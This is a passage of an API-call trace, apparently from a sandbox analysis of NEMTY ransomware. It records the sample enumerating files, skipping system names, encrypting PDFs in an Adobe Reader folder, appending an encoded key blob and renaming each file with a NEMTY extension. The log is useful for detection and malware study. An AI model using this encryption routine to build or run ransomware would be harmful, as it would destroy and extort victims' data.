-1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0187.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.113] Sleep (dwMilliseconds=0x5) [0187.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x232dd1d0, dwHighDateTime=0x1d561e8)) [0187.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x232dd1d0, dwHighDateTime=0x1d561e8)) [0187.120] GetLastError () returned 0x0 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.120] GetLastError () returned 0x0 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.120] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.120] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="5IZrFQjJA3QXvKydLANpJV2UrWFnQmqCoNTTtz1sfnVDDhnmxi9QIsp0iZ9WBIz/\r\nn5nQm3u45RYK4OmU5Kn2No5wq66WB0Pl7N1dNh1+1SrutUiR96u7dZWYXsMWRzqN\r\ntnH3cmqICrewQF+PqqQYbBt00HdSoctOArejmTnzV17NsZhNVNIBe3K04isI8P5k\r\nl8wRd5hEZOTXQZ7CkczSZzgGscA6JMhzVy7Cg4/GPCJA2m1QNd7BlbSPJGLF5QME\r\naCOXZP25z/vMe9A0eOggU3NlNYLBXnz4DSwYUlol0WVVHTd9P+JBVeXskUQK5XBK\r\nw+DA4QgVERCVToggFDJ4AA==\r\n", pcchString=0x653df5c) returned 1 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.121] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=35117) returned 1 [0187.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8920) returned 0x6352c48 [0187.121] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.122] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8920, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8920, lpOverlapped=0x0) returned 1 [0187.126] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.126] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8920, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8920, lpOverlapped=0x0) returned 1 [0187.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.126] SetFilePointer (in: hFile=0x320, lDistanceToMove=35117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892d [0187.126] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.126] CloseHandle (hObject=0x320) returned 1 [0187.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.127] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf._nemty_kgobjgd_")) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.127] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0187.127] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0187.128] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0187.128] Sleep (dwMilliseconds=0x5) [0187.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23303330, dwHighDateTime=0x1d561e8)) [0187.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23303330, dwHighDateTime=0x1d561e8)) [0187.135] GetLastError () returned 0x0 [0187.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.135] GetLastError () returned 0x0 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.136] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.136] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="kNB8wMi/w0NDQ/a8uhdlzsrQav5t/hpBl9VrwGj7uA4/KkYI6xLSoruVbqf8uMQ8\r\nyTNN3Xjoiem+C80Cf5St7yDxhgCcBPOpq6TVqVsE7/QUeCKz/aiXHIp3RKq7CiOX\r\nu7g6QHTSfzhbCnCrPw6yKr+ewscdUflz7oWKvtxILtPMbNx/2pCN4MjnA51hohoo\r\nD5rkxD0VsiKbLuUaynAgDyJSsiZDNIzEUT9+3yyoP5SIjWRnT/1iFJTwTPLA9Okm\r\n8yI+nXMMeobq5GBhXLjg4kIdUGF2UmKhe4flVpQ/GN9HF9qJTJg/Yw3ElYDvakpR\r\nWpsRq5kn9hE477d/a2JpFg==\r\n", pcchString=0x653df5c) returned 1 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.136] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=49284) returned 1 [0187.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc080) returned 0x6352c48 [0187.137] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.137] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc080, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xc080, lpOverlapped=0x0) returned 1 [0187.141] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.141] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc080, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xc080, lpOverlapped=0x0) returned 1 [0187.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.141] SetFilePointer (in: hFile=0x320, lDistanceToMove=49284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc084 [0187.141] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.142] CloseHandle (hObject=0x320) returned 1 [0187.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.142] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.143] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0187.143] lstrcmpiW 